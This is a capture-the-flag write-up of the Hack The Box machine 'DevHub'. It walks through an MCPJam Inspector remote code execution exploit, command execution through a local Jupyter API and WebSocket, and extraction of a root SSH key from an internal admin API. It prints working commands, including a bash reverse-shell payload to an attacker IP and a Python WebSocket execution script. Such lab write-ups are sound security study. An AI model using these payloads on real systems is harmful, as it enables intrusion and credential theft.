HTB DevHub Writeup
Overview
DevHub is a Linux machine that focuses on exploiting a vulnerable MCPJam Inspector instance. The attack begins by identifying an exposed MCP service and researching a known remote code execution vulnerability affecting the application.
After gaining code execution, local enumeration reveals a Jupyter instance running on the host. By interacting directly with the Jupyter API and WebSocket channels, it is possible to execute commands in the context of another user and retrieve the user flag.
Privilege escalation is achieved through an internal management API that exposes administrative functionality. By abusing a sensitive administrative endpoint, a root SSH private key can be extracted and used to gain full control of the system.
Reconnaissance
The initial step was to perform a full TCP port scan and service enumeration.
1
nmap -Pn -T4 -sV -p- --min-rate 2000 devhub.htb
The scan identified the following exposed services.
1
2
3
22/tcp
80/tcp
6274/tcp
Since port 6274 appeared uncommon, further investigation was performed.
A request to the MCP API revealed an accessible endpoint.
1
curl -s http://10.129.24.127:6274/api/mcp/servers
1
{"success":true,"servers":[]}
The presence of an MCP management interface suggested that the service might be vulnerable to publicly disclosed issues.
Web Enumeration
Vulnerability Research
Research into the MCP service identified a known vulnerability affecting MCPJam Inspector.
1
CVE-2026-23744 - MCPJam Inspector Remote Code Execution
The vulnerability allows attackers to supply arbitrary command execution parameters when establishing a new MCP server connection.
With a viable attack path identified, exploitation was attempted.
Exploitation
Exploiting MCPJam Inspector RCE
A listener was started on the attacking machine.
1
nc -lvnp 4444
A malicious request was then sent to the vulnerable MCP endpoint.
1
2
3
4
5
6
7
8
9
10
curl -s http://10.129.24.127:6274/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{
"serverConfig": {
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/TUN0_IP/4444 0>&1"],
"env": {}
},
"serverId": "pwned"
}'
The request successfully triggered code execution and returned a reverse shell.
Shell Stabilization
After receiving the shell, it was upgraded to a fully interactive terminal.
1
python3 -c 'import pty; pty.spawn("/bin/bash")'
1
2
# Ctrl+Z
stty raw -echo; fg
1
export TERM=xterm
A stable shell makes enumeration and post-exploitation activities significantly easier.
Initial Access
Discovering Jupyter
Process enumeration revealed a locally running Jupyter service.
1
ps aux | grep -E "jupyter|opsmcp"
1
ps aux | grep jupyter
A Jupyter API token was identified and used to interact with the service.
1
curl -s "http://localhost:8888/api/contents?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
A new kernel was then created through the API.
1
2
3
curl -s -X POST "http://localhost:8888/api/kernels?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
-H "Content-Type: application/json" \
-d '{}'
The response returned a kernel identifier.
1
Kernel ID: 0a3765b0-30ed-4894-8743-412e5e9b2639
Executing Commands Through Jupyter
A Python script was used to connect directly to the Jupyter WebSocket channel and submit an execute_request.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import socket, base64, os, json, struct, uuid, time
TOKEN = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
KERNEL_ID = "0a3765b0-30ed-4894-8743-412e5e9b2639"
key = base64.b64encode(os.urandom(16)).decode()
upgrade = (
f"GET /api/kernels/0a3765b0-30ed-4894-8743-412e5e9b2639/channels?token={TOKEN} HTTP/1.1\r\n"
f"Host: localhost:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n"
)
s = socket.socket()
s.connect(("localhost", 8888))
s.send(upgrade.encode())
s.recv(4096)
msg = json.dumps({
"header": {"msg_id": str(uuid.uuid4()), "msg_type": "execute_request",
"username": "", "session": str(uuid.uuid4()), "version": "5.0"},
"parent_header": {}, "metadata": {},
"content": {"code": "import os; print(os.popen('cat /home/analyst/user.txt').read())", "silent": False}
})
payload = msg.encode()
length = len(payload)
mask_key = os.urandom(4)
masked = bytearray([payload[i] ^ mask_key[i % 4] for i in range(length)])
if length <= 125:
header = struct.pack('!BB', 0x81, 0x80 | length) + mask_key
elif length <= 65535:
header = struct.pack('!BBH', 0x81, 0xFE, length) + mask_key
else:
header = struct.pack('!BBQ', 0x81, 0xFF, length) + mask_key
s.send(header + masked)
time.sleep(5)
print(s.recv(65535))
Successful execution allowed commands to run in the context of the target user.
The user flag was retrieved.
1
[REDACTED]
Privilege Escalation
Abusing the Internal Operations API
Further enumeration revealed an internal operations service listening on localhost.
A request was sent to a privileged administrative endpoint.
1
2
3
4
curl -s -X POST "http://localhost:5000/tools/call" \
-H "Content-Type: application/json" \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'
The endpoint returned a root SSH private key.
1
2
3
-----BEGIN OPENSSH PRIVATE KEY-----
[REDACTED]
-----END OPENSSH PRIVATE KEY-----
Using the Root SSH Key
The key was saved locally and assigned the correct permissions.
1
2
3
4
5
cat > /tmp/root_key << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
[REDACTED]
-----END OPENSSH PRIVATE KEY-----
EOF
1
chmod 600 /tmp/root_key
Using the extracted key, SSH access as root was obtained.
1
2
3
4
ssh -i /tmp/root_key \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
root@127.0.0.1
Once authenticated, the root flag could be retrieved.
1
cat /root/root.txt
1
[REDACTED]
Conclusion
DevHub demonstrates the risks associated with exposing development and management services without proper security controls. The attack chain began with exploitation of the MCPJam Inspector RCE vulnerability, providing remote code execution on the target.
Post-exploitation enumeration uncovered a Jupyter instance that allowed command execution through authenticated API and WebSocket interactions, resulting in access to the user account. Finally, an internal operations API exposed sensitive administrative functionality, allowing extraction of a root SSH key and complete compromise of the system.
This machine highlights how development tooling and internal management services can become critical attack surfaces when deployed insecurely.